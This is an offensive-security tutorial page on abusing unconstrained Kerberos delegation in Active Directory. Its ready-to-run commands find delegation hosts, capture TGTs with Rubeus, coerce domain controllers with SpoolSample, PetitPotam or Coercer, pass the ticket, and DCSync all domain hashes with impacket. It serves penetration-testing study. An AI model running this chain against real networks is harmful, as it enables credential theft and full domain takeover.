# Unconstrained Delegation Abuse – TGT Capture

> Exploit unconstrained Kerberos delegation to capture TGTs from authenticating hosts, enabling lateral movement and privilege escalation within Active Directory environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/unconstrained-delegation-abuse
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-07-01
- **Updated:** 2026-08-11

A host configured for unconstrained delegation stores incoming TGTs in LSASS memory, including TGTs from any domain account that authenticates to it. If you compromise such a host, you can capture those TGTs and use them for pass-the-ticket lateral movement.

The most reliable way to get a high-value TGT is to coerce a Domain Controller's machine account to authenticate to your compromised host. A DC machine account has DCSync rights, so capturing its TGT gives you a path to full domain compromise.

You need local admin or SYSTEM on a host configured for unconstrained delegation. Finding those hosts is an enumeration task, look for the `TRUSTED_FOR_DELEGATION` flag in computer account UAC attributes via BloodHound or PowerView.

## Identifying Unconstrained Delegation Hosts

From a Windows foothold with PowerView:

```powershell
Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
```

Note: Domain Controllers always have unconstrained delegation enabled. Compromising a DC is the end state, not the starting point, look for non-DC hosts with this flag set.

## Capturing TGTs with Rubeus Monitor Mode

Once you have SYSTEM on the delegation host, start Rubeus in monitor mode to capture incoming TGTs in real time:

```powershell
Rubeus.exe monitor /interval:5 /nowrap
```

This polls LSASS every 5 seconds and prints any new TGTs as base64 blobs.

## Coercing DC Authentication with SpoolSample

With Rubeus monitoring, trigger the DC to authenticate to your compromised host using the printer bug (MS-RPRN):

```powershell
SpoolSample.exe $DC_HOSTNAME $DELEGATION_HOST
```

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

`$DC_HOSTNAME` is the target DC. `$DELEGATION_HOST` is the host you control with unconstrained delegation. The DC's machine account TGT will appear in Rubeus output within seconds.

Alternatives if SpoolSample fails or the print spooler is disabled:

- **PetitPotam** (MS-EFSRPC): `PetitPotam.exe $DELEGATION_HOST $DC_HOSTNAME`
- **Coercer**: `coercer coerce -t $DC_HOSTNAME -l $DELEGATION_HOST -u $USER -p $PASSWORD -d $DOMAIN`

For the full coercion technique reference, see [AD Coercion Attacks](https://hackindex.io/platforms/active-directory/exploitation/ad-coercion-attacks).

## Using the Captured TGT

Copy the base64 blob from Rubeus output. Inject it into a session on your attack box after converting:

Save the base64 blob to a file, then decode and import:

```powershell
Rubeus.exe ptt /ticket:<base64blob>
```

Or from Linux, decode the base64 to a `.kirbi` file and convert:

```bash
echo "<base64blob>" | base64 -d > dc_machine.kirbi
impacket-ticketConverter dc_machine.kirbi dc_machine.ccache
export KRB5CCNAME=dc_machine.ccache
```

With the DC machine account TGT, run DCSync to dump the domain:

```bash
impacket-secretsdump $DOMAIN/$DC_HOSTNAME\$@$DC_HOSTNAME.$DOMAIN -k -no-pass -just-dc
```

This dumps all domain hashes. For post-DCSync paths, see [Active Directory DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover). From here, create a Golden Ticket using the krbtgt hash, see [Golden Ticket / Silver Ticket](https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket).

## Cross-Domain Escalation

If the unconstrained delegation host is in a child domain and you coerce a parent domain DC, the captured TGT may give you a foothold in the parent domain. The same pass-the-ticket workflow applies with the parent DC's machine account TGT.

## References

- [Rubeus](https://github.com/GhostPack/Rubeus) - GhostPack monitor, dump, and ptt module documentation.
- [SpoolSample](https://github.com/leechristensen/SpoolSample) - Lee Christensen MS-RPRN coercion tool for triggering DC authentication.
- [p0dalirius/Coerce](https://github.com/p0dalirius/coercer) - Coercer Multi-method authentication coercion tool supporting MS-RPRN, MS-EFSRPC, and other protocols.